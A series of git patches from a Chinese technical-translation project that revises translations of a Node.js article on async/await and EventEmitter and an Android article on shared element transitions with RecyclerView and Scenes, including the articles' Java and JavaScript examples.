+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -129,11 +129,11 @@ reject 函数的作用就和我们之前 callback 中处理错误是一样的，
 
 我们剩下唯一要做的就是在实例中指定 reject resolve 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
 
-#### Consuming promises with async/await ####
+#### 在 async/await 中使用 Promise ####
 
-当你需要一个常常的异步 loop 函数的时候，使用 promise 会让你 coding 的时候比 callback 的回调地狱简单一些，
+当你需要循环异步函数时，使用 Promise 会让你的代码更易阅读，而如果使用回调函数，事情只会变得混乱。
 
-Promise 是一个小小的进步，generator 也是一个小小的进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
+Promise 是一个小小的进步，generator 是一个更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
 
 我们用 async/await 函数特性来改写一下刚刚的调用 `readFileAsArray` 过程：
 
@@ -152,13 +152,13 @@ async function countOdd () {
 countOdd();
 ```
 
-首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字，在 `async` 函数里，我们把 `readFileAsArray` 这个异步方法用 `await` 来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
+首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字。在 `async` 函数里，使用关键字 `await` 使 `readFileAsArray` 函数好像返回普通变量一样，这之后的编码也好像 `readFileAsArray` 是同步方法一样。
 
-当 `async` 函数执行的过程是非常易读的，处理错误，我们只需要使用 `try/catch` 即可。
+当 `async` 函数执行的过程是非常易读的，而处理错误只需要使用 `try/catch` 即可。
 
-在 `async/await` 函数中我们没有使用特殊 API（像: .then and .catch这种\），我们仅仅使用了特殊关键字，但是像普通函数那样coding.
+在 `async/await` 函数中我们我们不需要使用任何特殊 API（像: `.then` 、 `.catch`\），我们仅仅使用了特殊关键字，并使用普通 JavaScript 编码即可。
 
-我们可以在支持 Promise 的函数中嵌套 `async/await` 函数，但是不能在 callback 风格的异步方法中使用它，比如 `setTimeout` 等等。
+我们可以在支持 Promise 的函数中使用 `async/await` 函数，但是不能在 callback 风格的异步方法中使用它，比如 `setTimeout` 等等。
 
 ### The EventEmitter Module ###
 

From 13152c6d1428acb48c06b4fffada1771d3e1e8c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 11:45:11 +0800
Subject: [PATCH 572/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9:=20#4=20EventEmitter?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...anding-node-js-event-driven-architecture.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 8140ede7199..12271735efe 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -160,14 +160,14 @@ countOdd();
 
 我们可以在支持 Promise 的函数中使用 `async/await` 函数，但是不能在 callback 风格的异步方法中使用它，比如 `setTimeout` 等等。
 
-### The EventEmitter Module ###
+### EventEmitter 模块 ###
 
-EventEmitter 是 NodeJS 中基于事件驱动的架构的核心，它用于各个对象之间通信，很多 Nodejs 的原生模块都使用了这个模块。
+EventEmitter 是 NodeJS 中基于事件驱动的架构的核心，它用于对象之间通信，很多 Nodejs 的原生模块都继承自这个模块。
 
-关于概念这一块很简单，Emitter 对象 emit 命名好的事件，使得之前注册好的监听器被调用起来，Emitter 对象有两个显著特点：
+模块的概念很简单，Emitter 对象触发已命名事件，使之前已注册的监听器被调用，所以 Emitter 对象有两个主要特征：
 
-* emit 注册好的事件
-* 注册和取消注册 listener 方法
+* 触发已命名事件
+* 注册和取消注册监听函数
 
 如何使用呢？我们只需要创建一个类来继承 EventEmitter 即可：
 
@@ -177,21 +177,21 @@ class MyEmitter extends EventEmitter {
 }
 ```
 
-然后我们创建一个基于 `EventEmitter` 的实例：
+实例化前面我们基于 EventEmitter 创建的类，即可得到 Emitter 对象：
 
 ```js
 const myEmitter = new MyEmitter();
 ```
 
-有了实例，就可以在实例的全部生命周期里，emit 任何我们命名好的方法了。
+在 Emitter 对象的生命周期中的任何一点，我们都可以用 emit 方法发出任何已命名的事件：
 
 ```js
 myEmitter.emit('something-happened');
 ```
 
-emit 一个事件就代表着有些情况的发生，这些情况通常是关于 Emitter 对象的状态改变的。
+触发一个事件即某种情况发生生的信号，这些情况通常是关于 Emitter 对象的状态改变的。
 
-我们使用on方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
+我们使用 on 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
 
 #### Events !== Asynchrony ####
 

From 62626bc8aaea8a6fe502d992d89db1f7559e0510 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 13:57:32 +0800
Subject: [PATCH 573/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=EF=BC=9A#5=20Events?=
 =?UTF-8?q?=20!=3D=20Asynchrony?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...erstanding-node-js-event-driven-architecture.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 12271735efe..ab32d65ed89 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -193,7 +193,7 @@ myEmitter.emit('something-happened');
 
 我们使用 on 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
 
-#### Events !== Asynchrony ####
+#### 事件 != 异步 ####
 
 让我们看一个例子：
 
@@ -218,9 +218,9 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-定义的 WithLog 类是一个 event emitter。它有个方法excute接收一个参数，并且有很多执行顺序的输出log，并且分别在开始和结束的时候emit了两次。
+WithLog 类是一个 event emitter。它有 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别在开始和结束的时候调用了 emit 方法。
 
-让我们来看看运行它会有什么样的结果：
+执行结果如下：
 
 ```
 Before executing
@@ -230,17 +230,17 @@ Done with execute
 After executing
 ```
 
-需要我们注意的是所有的输出log都是同步的，在代码里没有任何异步操作。
+需要我们注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。
 
-* 第一步‘’Before executing‘’
-* 命名为begin的事件的emit导致了‘’About to execute‘’
+* 第一步 “Before executing”
+* 命名为 begin 的事件 emit 导致了 “About to execute”
 * 内含方法的执行输出了“\*\*\* Executing task \*\*\*”
 * 另一个命名事件输出“Done with execute”
 * 最后“After executing”
 
 如同之前的 callback，events 并不意味着同步或者异步。
 
-这一点很重要，假如我们有给 `excute` 传递一个异步 `taskFunc` 函数，事件的触发就不再精确了。
+这一点很重要，假如我们给 `excute` 传递异步函数 `taskFunc`，事件的触发就不再精确了。
 
 可以使用 `setImmediate` 来模拟这种情况：
 

From 6189966d41700bef21371be35b932660a1bbc44c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Thu, 1 Jun 2017 15:12:58 +0800
Subject: [PATCH 574/638] 2017.6.1 fixbug

---
 ...-element-transition-recyclerview-scenes.md | 251 +++++-------------
 1 file changed, 73 insertions(+), 178 deletions(-)

diff --git a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
index f66edb0fde5..b639004386b 100644
--- a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
+++ b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
@@ -1,111 +1,63 @@
 > * 原文地址：[Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
 > * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[张拭心](https://github.com/shixinzhang)、[Feximin](https://github.com/Feximin)
 
-#  Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes #
+#  Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）
 
-#  Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的可共享的转场动画（Shared Element Transition）
 
-PS：貌似 Shared Element Transition 没有特别标准的译法，直译是共享元素变化。结合上下文和我 的理解翻译成可共享的转场动画
+**探索如何通过场景框架（Scene Framework）创建展示详情页的共享元素转场动画(Shared Element Transition)**。
 
-**Discover how to show details layout with Shared Element Transition with Scene Framework!**
-
-** 探索如何通过场景框架（Scene Framework）创建展示详情页的、可共享的转场动画。
-Welcome to the fourth and last part of my post series about the R&D (Research & Development) project, which I made a while ago. I want to share with you my solutions for problems I encountered during the development of an animation idea, shown below. In this blogpost, I will cover how to show details layout with Shared Element Transition with Scene Framework!
-
-欢迎阅读本系列文章的第四篇也是最后一篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。在这篇博文里，我会编写最后的部分：如何通过场景框架（Scene Framework）创建展示详情页的、可共享的转场动画。
+欢迎阅读本系列文章的第四篇也是最后一篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。在这篇博文里，我会编写最后的部分：如何通过场景框架（Scene Framework）创建展示详情页的共享元素转场动画（Shared Element Transition）。
 
 Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
-
-Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
+Part 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
- 
+Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
 项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
 动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
 
+## 序言
 
- 
-
-## PRELUDE ##
-
-## 序
-
-A few months back, we had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I didn’t know what I was going to struggle with…
-
-几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
-GIF 1 *“The animation”*
-
-# Let’s start! #
+GIF 1 **“动画效果”**
 
 # 开始吧！
 
-As we can see, in the GIF above, there is a lot of going on.
-
 就像上面 GIF 动画展示的，需要做的事情有很多。
 
-1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
-
-1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上。
-
-2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
-
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.
 
-当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
-3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)
 
+3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
 
-在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。
 
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我回展示如何通过场景框架、共享元素转场动画来展示详情页。
 
-4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+# 需求
 
+好吧，我们已经看过上面的GIF了。在点击了RecycleView 的 item 以后，我们进入了详情页面，上面显示了旅行目的地的一些信息。这确实是一个共享元素的转场动画：view 和 Textview 同时改变自身的大小、填充详情内容，含有红色按钮的详情介绍从底部向上滑动显示。多亏了转场动画框架（Transition Framework），我们可以用代码实现这种酷炫的动画效果。
 
-当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+我最初的想法和 90%的 网上设计一样 —— 声明一个 activities 之间的共享元素转场动画（Shared Element Transition）。然而让我们看一下地图，详情布局下面还有一个动画 —— 绘制路径同时地图缩放至特定位置。所以创建另一个背景透明 activity 并试图在此 activity 上绘制地图的动画效果的做法是不合适的。
 
-
-Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover how to animate markers with RecyclerView interaction!
-
-就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我会解决如何让标记与 RecycleView 产生互动。
-
-# The Problem #
-
-# 需求 
-
-Okay, so as we can see in the GIF above, after clicking on the item in RecyclerView, we are entering the details layout with some information about our trip destination. There is definitely a Shared Element Transition, where some of the views are changing their bounds, while TextView is also changing its size and details with red buttons are sliding in from the bottom. Thanks to the Transition Framework, we are able to create this amazing animation.
-
-好吧，我们已经看过上面的GIF了。在点击了RecycleView 的 item 以后，用户进入了显示路径的详情页面。这绝对是一个可共享的转场动画（Shared Element Transition）：view 和 Textview 同时改变自身的大小、填充详情内容，红色按钮的详情从 view 的底部向上滑动显示。多亏了转场动画框架（Transition Framework），我们可以用代码这种酷炫的动画效果。
-
-My first guess was to create just like it appears in 90% of materials on the internet – via the Shared Element Transition between two Activities. However let’s look on the map. There is also an animation “underneath” the details layout – the route is being drawn and the map zooms to the fixed position. So, I guess we don’t want to create another activity with a transparent background and try to animate the map on the “background” activity.
-
-我最初的想法和 90%的 网上设计一样 —— 声明一个 activities 之间可共享的转场动画（Shared Element Transition）。然而让我们看一下地图，详情布局下面还有一个动画 —— 绘制我们所在位置和目标点的路径。所以创建另一个背景空白 activity 并试图在此 activity 上绘制地图的动画效果的做法是不合适的。
-
-My second guess was to create the Shared Element Transition between two fragments – add the DetailsFragment on the top of the stack and create a transition between views in both layouts – RecyclerView’s item and DetailsFragment’s layout. A better solution, but still – for me, it looks like the same screen and the same fragment, only with another layout added on top. So, do we have a solution that fits my needs?
-
-我第二个想法是创建一个 fragment 之间可共享的转场动画（Shared Element Transition）—— 将 DetailsFragment 添加在顶端，在两个 view 之间添加一个转场动画 —— 就是 RecycleView 的 item 和 DetailFragment 的容器。做法会好一些 —— 但是对我来说，又是同样的屏幕啊、fragment什么的，有所不同的只是最上层又添了一层布局。那么，有满足我需求的办法吗？
-
-Yes, we have! From API 19 (the Workcation App is 21 and above) we have an option – Scenes! When used with Transition Framework, they’re really powerful. We can manage our UI in a very sophisticated way. And the most important thing – it totally fits our needs! So, let’s look at the implementation!
+我第二个想法是创建一个 fragment 之间的共享元素转场动画（Shared Element Transition）—— 将 DetailsFragment 添加在顶端，在两个 view 之间添加一个转场动画 —— 就是 RecycleView 的 item 和 DetailFragment 的容器。这么做是更好一些 —— 但是对我来说，又是同样的屏幕啊、fragment什么的，有所不同的只是最上层又添了一层布局。那么，有满足我需求的办法吗？
 
 当然有！自从 Android 4.4 以来（Workcation App 的 SDK 是 Android 5.0 以上的版本）我们就有了这么一个选择 —— 场景（Scenes）！当使用转场框架（Transition Framework）的时候，它们确实很勥。我们可以用非常精妙的方式管理用户界面。最重要的是 —— 完全符合我们的需求！看看它是怎么实现的吧!
 
- 
-## SHARED ELEMENT TRANSITION WITH RECYCLER VIEW ##
-
 ## RecycleView 的可共享转场动画
 
-Let’s start from clicking on the RecyclerView’s item. Our DetailsFragment (the one with Map and RecyclerView) implements OnPlaceClickedListener. We pass the OnPlaceClickListener interface implementation in the constructor like this:
-
 让我们从点击 RecycleView 的 item 开始吧。DetailsFragment (带有地图和 RecycleView 的那个)实现了 OnPlaceClickedListener 接口。我们是这样向构造方法传递 OnPlaceClickListener 的接口实现类作为参数的：
 
 ```
@@ -120,8 +72,6 @@ BaliPlacesAdapter(OnPlaceClickListener listener,Context context){
 }
 ```
 
-Next, in the *onBindViewHolder* method, we trigger the *onPlaceClicked* method after clicking on the RecyclerView’s item. We do this simply by passing it to *onClickListener:*
-
 接着在 **onBindViewHolder** 方法中，点击 RecycleView item 以后触发 *onPlaceClicked*。我们简单的通过给item 设置 **onClickListener** 来实现：
 
 ```
@@ -139,7 +89,7 @@ public void onBindViewHolder(final BaliViewHolder holder,final int position){
             listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position);
         }
     );
-    
+
     AS 里这么写需要 2.4 及以上版本，或者第三方的库。
     推荐小姐姐翻译的文章:https://github.com/xitu/gold-miner/pull/1578/files
     */
@@ -147,9 +97,7 @@ public void onBindViewHolder(final BaliViewHolder holder,final int position){
 }
 ```
 
-As you can see above, we set the *onClickListener* on a root element – in our case, it is a CardView. We also pass it as the first argument in the *onPlaceClicked* method, while the second one is fixed TransitionName – we are simply adding a position to the transition name. We do this because we have to distinguish which child of RecyclerView needs to be transitioned. If every item has the same:
-
-如上所见，我们在 holder 的 root 对象上设置了一个 **onClickListener**，在我们的项目中，这个 root 对象就是 CardView 。我们也把它作为第一个参数传进了 **onPlaceClicked**
+如上所见，我们在 holder 的根节点上设置了点击事件（ **onClickListener**），在本项目中，这个根节点就是 CardView 。我们也把它作为第一个参数传进了 **onPlaceClicked**
 方法。第二个参数是一个固定格式的转场动画名字 —— 只是简单的用位置命名。这么做的原因是我们需要区分哪个 RecycleView 的 item 需要转场动画。每一个名字的格式都是相同的：
 
 ```
@@ -162,8 +110,6 @@ public static String getRecyclerViewTransitionName(final int position){
 }
 ```
 
-For the last parameter, we pass the position of the clicked item. We are using the same collection of data to fill RecyclerView item and DetailsLayout, so we just want to get the specific item by the position. Below we can see the OnPlaceClickListener and BaliViewHolder
-
 最后一个参数，传入了被点击 item 的位置（position）。我们会用同样的数据集合去填充 RecycleView item 和 DetailsLayout，所以需要通过 position 获得具体的 item。下面我们会看到 OnPlaceClickListener 和 BaliViewHolder:
 
 ```
@@ -181,7 +127,7 @@ Java
 
 static class BaliViewHolder extends RecyclerView.ViewHolder{
 
- 
+
 
     @BindView(R.id.title)TextView title;
 
@@ -193,7 +139,7 @@ static class BaliViewHolder extends RecyclerView.ViewHolder{
 
     @BindView(R.id.headerImage)ImageView placePhoto;
 
- 
+
 
     BaliViewHolder(finalView itemView){
 
@@ -206,8 +152,6 @@ static class BaliViewHolder extends RecyclerView.ViewHolder{
 }
 ```
 
-The OnPlaceClickListener is implemented in DetailsFragment – the one that has RecyclerView and Map. Let’s look at the *onPlaceClicked* method:
-
 含有有 RecycleView 和 Map 的DetailsFragment 实现了 OnPlaceClickListener 接口。让我们看一下具体的 **onPlaceClicked** 方法：
 
 ```
@@ -228,20 +172,11 @@ public void onPlaceClicked(final View sharedView,final String transitionName,fin
 }
 ```
 
-In the first place, we save *currentTransitionName* as a global variable – we will need it when we will hide scene with DetailsLayout. We also assign the Scene object to the *detailsScene* variable – it is needed to handle the *onBackPressed* method properly. In the next step, we are drawing a route between our position and the destination position; parallelly, we are hiding all markers.
-
-在最开始，我们将 *currentTransitionName* 保存为一个全局变量 —— 当隐藏 DetailsLayout 的场景（scene） 时就会用到它了。我们还用一个场景对象给变量 **detailsScene** 赋值 ——该变量负责正确的处理 **onBackPressed** 方法。下一步，我们会绘制一条我们的位置到目标位置的路径；同时，我们需要隐藏地图上所有的标记。
-
-The part that we are mostly interested in is the one showing the scene. Let’s move to DetailsLayout.
+在最开始，我们将 **currentTransitionName** 保存为一个全局变量 —— 当隐藏 DetailsLayout 的场景（scene） 时就会用到它了。同时我们还将这个场景对象赋值给 **detailsScene** 变量 —— 该变量负责正确的处理 **onBackPressed** 方法。下一步，我们会绘制一条我们的位置到目标位置的路径；同时，我们需要隐藏地图上所有的标记。
 
 我们最关心的部分是如何展示这些场景，看看 DetailsLayout 是怎么做的吧！
 
-
-## USING SCENE FRAMEWORK TO CREATE SHARED ELEMENT TRANSITION ##
-
-## 使用场景（Scene Framework）来创建共享的转场动画 
-
-Below we have our custom CoordinatorLayout. It looks ordinary in the first part, but we have two additional two static methods – *showScene* and *hideScene* . Let’s look at them more closely:
+## 使用场景（Scene Framework）来创建共享的转场动画
 
 在下面是自定义的 CoordinatorLayout。一眼看上去它非常普通，但是多了两个特别的静态方法 **showScene** 和 **hideScene**。让我们再更仔细的看一下它：
 
@@ -250,7 +185,7 @@ Below we have our custom CoordinatorLayout. It looks ordinary in the first part,
 
 public class DetailsLayout extends CoordinatorLayout{
 
- 
+
 
     @BindView(R.id.cardview)
     CardView cardViewContainer;
@@ -264,7 +199,7 @@ public class DetailsLayout extends CoordinatorLayout{
     @BindView(R.id.description)
     TextView textViewDescription;
 
- 
+
 
     public DetailsLayout(final Context context){
 
@@ -272,7 +207,7 @@ public class DetailsLayout extends CoordinatorLayout{
 
     }
 
- 
+
 
     public DetailsLayout(final Context context,final AttributeSet attrs){
 
@@ -280,7 +215,7 @@ public class DetailsLayout extends CoordinatorLayout{
 
     }
 
- 
+
 
     @Override
 
@@ -292,7 +227,7 @@ public class DetailsLayout extends CoordinatorLayout{
 
     }
 
- 
+
 
     private void setData(Place place){
 
@@ -302,7 +237,7 @@ public class DetailsLayout extends CoordinatorLayout{
 
     }
 
- 
+
 
     public static Scene showScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName,final Place data){
 
@@ -310,7 +245,7 @@ public class DetailsLayout extends CoordinatorLayout{
 
         detailsLayout.setData(data);
 
- 
+
 
         TransitionSet set=new ShowDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
 
@@ -322,13 +257,13 @@ public class DetailsLayout extends CoordinatorLayout{
 
     }
 
- 
+
 
     public static Scene hideScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName){
 
         DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
 
- 
+
 
         TransitionSet set=new HideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
 
@@ -343,34 +278,28 @@ public class DetailsLayout extends CoordinatorLayout{
 }
 ```
 
-In the first place, we are inflating the DetailsLayout. Next, we are setting the data (just the title and description for DetailsLayout). Next, we are creating TransitionSet – for our purpose, I’ve created a separate class to keep the codebase clean. The third step is to create the scene object – we just pass our inflated *detailsLayout* and *containerView* (the main ViewGroup of DetailsFragment – in our case, it is the FrameLayout that matches the whole screen and has RecyclerView as a child). To create our amazing animation, we just need to call one method – *TransitionManager.go(scene, transitionSet)*. Et voila! This is our effect:
-
-最开始我们先填充了 DetailsLayout。接下来，我们添加了一些数据（详情页的标题和描述）。最后我们创建了转场动画 —— 为了我们的目的，我创建了一个单独的类来保持代码空间干净整洁。第三步创建了一个场景对象 —— 我们传递了填充好的 **detailsLayout** 和 **containerView** （DetailsFragment 主要的 ViewGroup —— 在我们的项目中，这是覆盖整个屏幕和作为 RecycleView 的子元素的 FrameLayout）。我们只需要调用 **TransitionManager.go(scene, transitionSet)** 方法就能创建酷炫的效动画果：
+最开始我们先渲染了 DetailsLayout。接下来，我们添加了一些数据（详情页的标题和描述）。最后我们创建了转场动画 —— 为了我们的目的，我创建了一个单独的类来保持代码空间干净整洁。第三步创建了一个场景对象 —— 我们传递了渲染好的 **detailsLayout** 和 **containerView** （DetailsFragment 主要的 ViewGroup —— 在我们的项目中，这是覆盖整个屏幕并且有一个 RecycleView 作为子元素的 FrameLayout）。我们只需要调用 **TransitionManager.go(scene, transitionSet)** 方法就能创建酷炫的效动画果：
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
 
-A little bit of magic happens here. TransitionManager is a class which fires transitions when the scene change occurs. With a simple call like *TransitionManager.go(scene, transitionSet),* we are able to go to the specific scene, where some kind of transition happens. In our case, we are showing DetailsLayout with some data about a trip destination but, when using a TransitionManager, we are able to make this kind of transition which you can see above. Now, let’s see how the ShowDetailsTransitionSet is implemented.
 
 魔法出现了。TransitionManager 是一个当场景发生改变时启动转场动画的类。通过简单的调用 **TransitionManager.go(scene, transitionSet)** ，我们可以转到拥有特定转场动画的特定的场景。在我们的项目中，通过使用 TransitionManager 就可以上面那种展示含有详情和旅途描述的 DetailsLayout 了。现在让我们看一下如何实现 ShowDetailsTransitionSet 吧。
 
-## CREATING CUSTOM TransitionSet WITH TransitionBuiler ##
-
 ## 使用 TransitionBuiler 创建自定义的 TransitionSet
 
-For keeping the code clean, I’ve created a TransitionBuilder – a simple class made using the Builder Pattern, which allows us to write less code to make a Transition, especially the Shared Element Transition. This is how it looks like:
 
-为了保持代码整洁，我创建了一个 TransitionBuilder —— 一个尊遵从 builder 模式的类，该类允许我们用少量的代码创建一个转场动画， 尤其是可共享的转场动画。它看起来像是这个样子的：
+为了保持代码整洁，我创建了一个 TransitionBuilder —— 一个尊遵从 builder 模式的类，该类允许我们用少量的代码创建一个转场动画， 尤其是共享元素转场动画。它看起来像是这个样子的：
 
 ```
 Java
 
 public class TransitionBuilder{
 
- 
+
 
     private Transition transition;
 
- 
+
 
     public TransitionBuilder(final Transition transition){
 
@@ -378,7 +307,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder duration(long duration){
 
@@ -388,7 +317,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder target(View view){
 
@@ -398,7 +327,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder target(Classclazz){
 
@@ -408,7 +337,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     publicTransitionBuilder target(Stringtarget){
 
@@ -418,7 +347,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder target(int targetId){
 
@@ -428,7 +357,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder delay(long delay){
 
@@ -438,7 +367,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder pathMotion(PathMotion motion){
 
@@ -448,7 +377,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder propagation(TransitionPropagation propagation){
 
@@ -458,7 +387,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder pair(Pair<View,String> pair){
 
@@ -470,7 +399,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     publicTransitionBuilder excludeTarget(finalView view,finalbooleanexclude){
 
@@ -480,7 +409,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder excludeTarget(final String targetName,final boolean exclude){
 
@@ -490,7 +419,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public TransitionBuilder link(final View from,final View to,final String transitionName){
 
@@ -504,7 +433,7 @@ public class TransitionBuilder{
 
     }
 
- 
+
 
     public Transition build(){
 
